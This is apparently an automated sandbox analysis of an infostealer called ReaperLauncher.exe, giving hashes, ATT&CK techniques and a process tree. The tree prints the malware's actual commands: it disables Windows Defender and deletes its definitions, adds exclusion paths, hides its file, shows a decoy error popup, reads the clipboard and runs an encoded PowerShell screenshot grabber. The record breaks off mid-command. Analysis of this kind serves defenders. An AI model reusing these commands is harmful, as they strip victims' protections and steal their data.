61aced93eaca28fcf98fe0c4fa4167742e75fee9ffcc04c7223ade1435b6ae26

Analysis

max time kernel
113s
max time network
138s
platform
windows10-1703_x64
resource
win10-20230915-en
resource tags

arch:x64arch:x86image:win10-20230915-enlocale:en-usos:windows10-1703-x64system
submitted
13/10/2023, 17:05

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target

ReaperLauncher.exe
Size

7.3MB
MD5

caa4f0f560bf42fef6c0e89d7ceea759
SHA1

3647cdd5496ac08a185a2f0a6f27dd9657e51de8
SHA256

61aced93eaca28fcf98fe0c4fa4167742e75fee9ffcc04c7223ade1435b6ae26
SHA512

60fe8dfae3571d47e3d6f776e067146beb61b6e4aa1d2a2f36f2ecc3e1a2a7207e4228c1cc20455bdde1263922a9ad27957869a509f599d42ef37e4a0a8393d3
SSDEEP

196608:mujYS6DOshoKMuIkhVastRL5Di3ue1D730J:ZYSgOshouIkPftRL54fREJ

Score

10^/10

evasion spyware stealer upx

Malware Config

Signatures

Deletes Windows Defender Definitions 2 TTPs 1 IoCs

Uses mpcmdrun utility to delete all AV definitions.

evasion

Impair Defenses

T1562

Command and Scripting Interpreter

T1059

pid	Process
2428	MpCmdRun.exe

Executes dropped EXE 1 IoCs

pid	Process
3628	rar.exe

Loads dropped DLL 17 IoCs

pid	Process
4152	ReaperLauncher.exe
4152	ReaperLauncher.exe
4152	ReaperLauncher.exe
4152	ReaperLauncher.exe
4152	ReaperLauncher.exe
4152	ReaperLauncher.exe
4152	ReaperLauncher.exe
4152	ReaperLauncher.exe
4152	ReaperLauncher.exe
4152	ReaperLauncher.exe
4152	ReaperLauncher.exe
4152	ReaperLauncher.exe
4152	ReaperLauncher.exe
4152	ReaperLauncher.exe
4152	ReaperLauncher.exe
4152	ReaperLauncher.exe
4152	ReaperLauncher.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

UPX packed file 64 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x000600000001b01e-25.dat	upx
behavioral1/files/0x000600000001b01e-26.dat	upx
behavioral1/memory/4152-29-0x00007FFA518A0000-0x00007FFA51E89000-memory.dmp	upx
behavioral1/files/0x000600000001b011-31.dat	upx
behavioral1/files/0x000600000001b011-32.dat	upx
behavioral1/memory/4152-34-0x00007FFA55FB0000-0x00007FFA55FD3000-memory.dmp	upx
behavioral1/files/0x000600000001b01c-33.dat	upx
behavioral1/files/0x000600000001b01c-35.dat	upx
behavioral1/memory/4152-52-0x00007FFA57630000-0x00007FFA5763F000-memory.dmp	upx
behavioral1/files/0x000600000001b018-51.dat	upx
behavioral1/files/0x000600000001b017-50.dat	upx
behavioral1/files/0x000600000001b016-49.dat	upx
behavioral1/files/0x000600000001b015-48.dat	upx
behavioral1/files/0x000600000001b014-47.dat	upx
behavioral1/files/0x000600000001b013-46.dat	upx
behavioral1/files/0x000700000001b010-44.dat	upx
behavioral1/files/0x000600000001b022-42.dat	upx
behavioral1/files/0x000600000001b01d-38.dat	upx
behavioral1/files/0x000600000001b012-45.dat	upx
behavioral1/files/0x000600000001b023-43.dat	upx
behavioral1/files/0x000600000001b021-41.dat	upx
behavioral1/files/0x000600000001b01b-37.dat	upx
behavioral1/files/0x000600000001b014-57.dat	upx
behavioral1/memory/4152-58-0x00007FFA55F80000-0x00007FFA55FAD000-memory.dmp	upx
behavioral1/files/0x000700000001b010-59.dat	upx
behavioral1/memory/4152-60-0x00007FFA55F60000-0x00007FFA55F79000-memory.dmp	upx
behavioral1/files/0x000600000001b017-61.dat	upx
behavioral1/memory/4152-62-0x00007FFA55F30000-0x00007FFA55F53000-memory.dmp	upx
behavioral1/files/0x000600000001b022-63.dat	upx
behavioral1/memory/4152-64-0x00007FFA55DB0000-0x00007FFA55F27000-memory.dmp	upx
behavioral1/files/0x000600000001b016-65.dat	upx
behavioral1/memory/4152-66-0x00007FFA55D90000-0x00007FFA55DA9000-memory.dmp	upx
behavioral1/files/0x000600000001b021-67.dat	upx
behavioral1/memory/4152-68-0x00007FFA55D80000-0x00007FFA55D8D000-memory.dmp	upx
behavioral1/files/0x000600000001b018-69.dat	upx
behavioral1/memory/4152-70-0x00007FFA52700000-0x00007FFA52733000-memory.dmp	upx
behavioral1/files/0x000600000001b01d-71.dat	upx
behavioral1/memory/4152-72-0x00007FFA518A0000-0x00007FFA51E89000-memory.dmp	upx
behavioral1/memory/4152-73-0x00007FFA520B0000-0x00007FFA5217D000-memory.dmp	upx
behavioral1/files/0x000600000001b01b-74.dat	upx
behavioral1/memory/4152-76-0x00007FFA55FB0000-0x00007FFA55FD3000-memory.dmp	upx
behavioral1/files/0x000600000001b01b-75.dat	upx
behavioral1/memory/4152-77-0x00007FFA43360000-0x00007FFA43880000-memory.dmp	upx
behavioral1/files/0x000600000001b013-79.dat	upx
behavioral1/memory/4152-80-0x00007FFA55CD0000-0x00007FFA55CE4000-memory.dmp	upx
behavioral1/memory/4152-82-0x00007FFA55F80000-0x00007FFA55FAD000-memory.dmp	upx
behavioral1/files/0x000600000001b015-81.dat	upx
behavioral1/memory/4152-85-0x00007FFA55D70000-0x00007FFA55D7D000-memory.dmp	upx
behavioral1/memory/4152-87-0x00007FFA51F90000-0x00007FFA520AC000-memory.dmp	upx
behavioral1/files/0x000600000001b023-86.dat	upx
behavioral1/memory/4152-89-0x00007FFA55F30000-0x00007FFA55F53000-memory.dmp	upx
behavioral1/memory/4152-95-0x00007FFA55DB0000-0x00007FFA55F27000-memory.dmp	upx
behavioral1/memory/4152-116-0x00007FFA55D90000-0x00007FFA55DA9000-memory.dmp	upx
behavioral1/memory/4152-146-0x00007FFA52700000-0x00007FFA52733000-memory.dmp	upx
behavioral1/memory/4152-161-0x00007FFA520B0000-0x00007FFA5217D000-memory.dmp	upx
behavioral1/memory/4152-177-0x00007FFA43360000-0x00007FFA43880000-memory.dmp	upx
behavioral1/memory/4152-256-0x00007FFA518A0000-0x00007FFA51E89000-memory.dmp	upx
behavioral1/memory/4152-259-0x00007FFA55FB0000-0x00007FFA55FD3000-memory.dmp	upx
behavioral1/memory/4152-399-0x00007FFA518A0000-0x00007FFA51E89000-memory.dmp	upx
behavioral1/memory/4152-400-0x00007FFA55FB0000-0x00007FFA55FD3000-memory.dmp	upx
behavioral1/memory/4152-544-0x00007FFA518A0000-0x00007FFA51E89000-memory.dmp	upx
behavioral1/memory/4152-550-0x00007FFA55DB0000-0x00007FFA55F27000-memory.dmp	upx
behavioral1/memory/4152-626-0x00007FFA518A0000-0x00007FFA51E89000-memory.dmp	upx
behavioral1/memory/4152-641-0x00007FFA518A0000-0x00007FFA51E89000-memory.dmp	upx

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
7	ip-api.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
3112	WMIC.exe

Enumerates processes with tasklist 1 TTPs 2 IoCs

Process Discovery

T1057

pid	Process
4080	tasklist.exe
4964	tasklist.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
5004	systeminfo.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
4480	PING.EXE

Suspicious behavior: EnumeratesProcesses 33 IoCs

pid	Process
3876	powershell.exe
4768	powershell.exe
4768	powershell.exe
4188	powershell.exe
4188	powershell.exe
3876	powershell.exe
3876	powershell.exe
4768	powershell.exe
2648	powershell.exe
2648	powershell.exe
1048	powershell.exe
1048	powershell.exe
1048	powershell.exe
4188	powershell.exe
3876	powershell.exe
4768	powershell.exe
2648	powershell.exe
1048	powershell.exe
4188	powershell.exe
2648	powershell.exe
3064	powershell.exe
3064	powershell.exe
3064	powershell.exe
3064	powershell.exe
2724	powershell.exe
2724	powershell.exe
2724	powershell.exe
4464	powershell.exe
4464	powershell.exe
4464	powershell.exe
3228	powershell.exe
3228	powershell.exe
3228	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4080	tasklist.exe
Token: SeDebugPrivilege	3876	powershell.exe
Token: SeDebugPrivilege	4768	powershell.exe
Token: SeDebugPrivilege	4188	powershell.exe
Token: SeDebugPrivilege	4964	tasklist.exe
Token: SeIncreaseQuotaPrivilege	4084	WMIC.exe
Token: SeSecurityPrivilege	4084	WMIC.exe
Token: SeTakeOwnershipPrivilege	4084	WMIC.exe
Token: SeLoadDriverPrivilege	4084	WMIC.exe
Token: SeSystemProfilePrivilege	4084	WMIC.exe
Token: SeSystemtimePrivilege	4084	WMIC.exe
Token: SeProfSingleProcessPrivilege	4084	WMIC.exe
Token: SeIncBasePriorityPrivilege	4084	WMIC.exe
Token: SeCreatePagefilePrivilege	4084	WMIC.exe
Token: SeBackupPrivilege	4084	WMIC.exe
Token: SeRestorePrivilege	4084	WMIC.exe
Token: SeShutdownPrivilege	4084	WMIC.exe
Token: SeDebugPrivilege	4084	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4084	WMIC.exe
Token: SeRemoteShutdownPrivilege	4084	WMIC.exe
Token: SeUndockPrivilege	4084	WMIC.exe
Token: SeManageVolumePrivilege	4084	WMIC.exe
Token: 33	4084	WMIC.exe
Token: 34	4084	WMIC.exe
Token: 35	4084	WMIC.exe
Token: 36	4084	WMIC.exe
Token: SeDebugPrivilege	2648	powershell.exe
Token: SeDebugPrivilege	1048	powershell.exe
Token: SeIncreaseQuotaPrivilege	4084	WMIC.exe
Token: SeSecurityPrivilege	4084	WMIC.exe
Token: SeTakeOwnershipPrivilege	4084	WMIC.exe
Token: SeLoadDriverPrivilege	4084	WMIC.exe
Token: SeSystemProfilePrivilege	4084	WMIC.exe
Token: SeSystemtimePrivilege	4084	WMIC.exe
Token: SeProfSingleProcessPrivilege	4084	WMIC.exe
Token: SeIncBasePriorityPrivilege	4084	WMIC.exe
Token: SeCreatePagefilePrivilege	4084	WMIC.exe
Token: SeBackupPrivilege	4084	WMIC.exe
Token: SeRestorePrivilege	4084	WMIC.exe
Token: SeShutdownPrivilege	4084	WMIC.exe
Token: SeDebugPrivilege	4084	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4084	WMIC.exe
Token: SeRemoteShutdownPrivilege	4084	WMIC.exe
Token: SeUndockPrivilege	4084	WMIC.exe
Token: SeManageVolumePrivilege	4084	WMIC.exe
Token: 33	4084	WMIC.exe
Token: 34	4084	WMIC.exe
Token: 35	4084	WMIC.exe
Token: 36	4084	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3876	powershell.exe
Token: SeSecurityPrivilege	3876	powershell.exe
Token: SeTakeOwnershipPrivilege	3876	powershell.exe
Token: SeLoadDriverPrivilege	3876	powershell.exe
Token: SeSystemProfilePrivilege	3876	powershell.exe
Token: SeSystemtimePrivilege	3876	powershell.exe
Token: SeProfSingleProcessPrivilege	3876	powershell.exe
Token: SeIncBasePriorityPrivilege	3876	powershell.exe
Token: SeCreatePagefilePrivilege	3876	powershell.exe
Token: SeBackupPrivilege	3876	powershell.exe
Token: SeRestorePrivilege	3876	powershell.exe
Token: SeShutdownPrivilege	3876	powershell.exe
Token: SeDebugPrivilege	3876	powershell.exe
Token: SeSystemEnvironmentPrivilege	3876	powershell.exe
Token: SeRemoteShutdownPrivilege	3876	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4900 wrote to memory of 4152	4900	ReaperLauncher.exe	70
PID 4900 wrote to memory of 4152	4900	ReaperLauncher.exe	70
PID 4152 wrote to memory of 4840	4152	ReaperLauncher.exe	80
PID 4152 wrote to memory of 4840	4152	ReaperLauncher.exe	80
PID 4152 wrote to memory of 1200	4152	ReaperLauncher.exe	79
PID 4152 wrote to memory of 1200	4152	ReaperLauncher.exe	79
PID 4152 wrote to memory of 2188	4152	ReaperLauncher.exe	78
PID 4152 wrote to memory of 2188	4152	ReaperLauncher.exe	78
PID 4152 wrote to memory of 1168	4152	ReaperLauncher.exe	71
PID 4152 wrote to memory of 1168	4152	ReaperLauncher.exe	71
PID 4152 wrote to memory of 3228	4152	ReaperLauncher.exe	76
PID 4152 wrote to memory of 3228	4152	ReaperLauncher.exe	76
PID 4152 wrote to memory of 2236	4152	ReaperLauncher.exe	81
PID 4152 wrote to memory of 2236	4152	ReaperLauncher.exe	81
PID 2236 wrote to memory of 4080	2236	cmd.exe	84
PID 2236 wrote to memory of 4080	2236	cmd.exe	84
PID 1168 wrote to memory of 4196	1168	cmd.exe	83
PID 1168 wrote to memory of 4196	1168	cmd.exe	83
PID 4840 wrote to memory of 3876	4840	cmd.exe	85
PID 4840 wrote to memory of 3876	4840	cmd.exe	85
PID 1200 wrote to memory of 4768	1200	cmd.exe	86
PID 1200 wrote to memory of 4768	1200	cmd.exe	86
PID 4152 wrote to memory of 4204	4152	ReaperLauncher.exe	87
PID 4152 wrote to memory of 4204	4152	ReaperLauncher.exe	87
PID 4152 wrote to memory of 4308	4152	ReaperLauncher.exe	88
PID 4152 wrote to memory of 4308	4152	ReaperLauncher.exe	88
PID 4152 wrote to memory of 164	4152	ReaperLauncher.exe	91
PID 4152 wrote to memory of 164	4152	ReaperLauncher.exe	91
PID 4152 wrote to memory of 4968	4152	ReaperLauncher.exe	89
PID 4152 wrote to memory of 4968	4152	ReaperLauncher.exe	89
PID 3228 wrote to memory of 4188	3228	cmd.exe	98
PID 3228 wrote to memory of 4188	3228	cmd.exe	98
PID 4152 wrote to memory of 4120	4152	ReaperLauncher.exe	97
PID 4152 wrote to memory of 4120	4152	ReaperLauncher.exe	97
PID 4152 wrote to memory of 5076	4152	ReaperLauncher.exe	94
PID 4152 wrote to memory of 5076	4152	ReaperLauncher.exe	94
PID 4152 wrote to memory of 3148	4152	ReaperLauncher.exe	95
PID 4152 wrote to memory of 3148	4152	ReaperLauncher.exe	95
PID 2188 wrote to memory of 4720	2188	cmd.exe	101
PID 2188 wrote to memory of 4720	2188	cmd.exe	101
PID 4308 wrote to memory of 2648	4308	cmd.exe	104
PID 4308 wrote to memory of 2648	4308	cmd.exe	104
PID 3148 wrote to memory of 1048	3148	cmd.exe	110
PID 3148 wrote to memory of 1048	3148	cmd.exe	110
PID 164 wrote to memory of 4964	164	cmd.exe	107
PID 164 wrote to memory of 4964	164	cmd.exe	107
PID 4968 wrote to memory of 4092	4968	cmd.exe	119
PID 4968 wrote to memory of 4092	4968	cmd.exe	119
PID 4120 wrote to memory of 980	4120	cmd.exe	106
PID 4120 wrote to memory of 980	4120	cmd.exe	106
PID 4204 wrote to memory of 4084	4204	cmd.exe	108
PID 4204 wrote to memory of 4084	4204	cmd.exe	108
PID 5076 wrote to memory of 5004	5076	cmd.exe	109
PID 5076 wrote to memory of 5004	5076	cmd.exe	109
PID 4152 wrote to memory of 4460	4152	ReaperLauncher.exe	111
PID 4152 wrote to memory of 4460	4152	ReaperLauncher.exe	111
PID 4460 wrote to memory of 4796	4460	cmd.exe	113
PID 4460 wrote to memory of 4796	4460	cmd.exe	113
PID 4152 wrote to memory of 2084	4152	ReaperLauncher.exe	114
PID 4152 wrote to memory of 2084	4152	ReaperLauncher.exe	114
PID 2084 wrote to memory of 5064	2084	cmd.exe	116
PID 2084 wrote to memory of 5064	2084	cmd.exe	116
PID 4152 wrote to memory of 5008	4152	ReaperLauncher.exe	118
PID 4152 wrote to memory of 5008	4152	ReaperLauncher.exe	118

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
4196	attrib.exe

C:\Users\Admin\AppData\Local\Temp\ReaperLauncher.exe
"C:\Users\Admin\AppData\Local\Temp\ReaperLauncher.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4900
- C:\Users\Admin\AppData\Local\Temp\ReaperLauncher.exe
  "C:\Users\Admin\AppData\Local\Temp\ReaperLauncher.exe"
  2⤵
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:4152
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\Admin\AppData\Local\Temp\ReaperLauncher.exe""
    3⤵
    PID:1168
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Users\Admin\AppData\Local\Temp\ReaperLauncher.exe"
      4⤵
      Views/modifies file attributes
      PID:4196
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3228
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4188
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Incompatible with the current version of Windows.', 0, 'Error!', 0+16);close()""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2188
  - - C:\Windows\system32\mshta.exe
      mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Incompatible with the current version of Windows.', 0, 'Error!', 0+16);close()"
      4⤵
      PID:4720
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1200
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4768
  - - C:\Program Files\Windows Defender\MpCmdRun.exe
      "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
      4⤵
      Deletes Windows Defender Definitions
      PID:2428
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\ReaperLauncher.exe'"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4840
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\ReaperLauncher.exe'
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3876
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2236
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:4080
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4204
  - - C:\Windows\System32\Wbem\WMIC.exe
      WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4084
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4308
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2648
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4968
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:4092
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:164
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:4964
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "systeminfo"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5076
  - - C:\Windows\system32\systeminfo.exe
      systeminfo
      4⤵
      Gathers system information
      PID:5004
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3148
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgA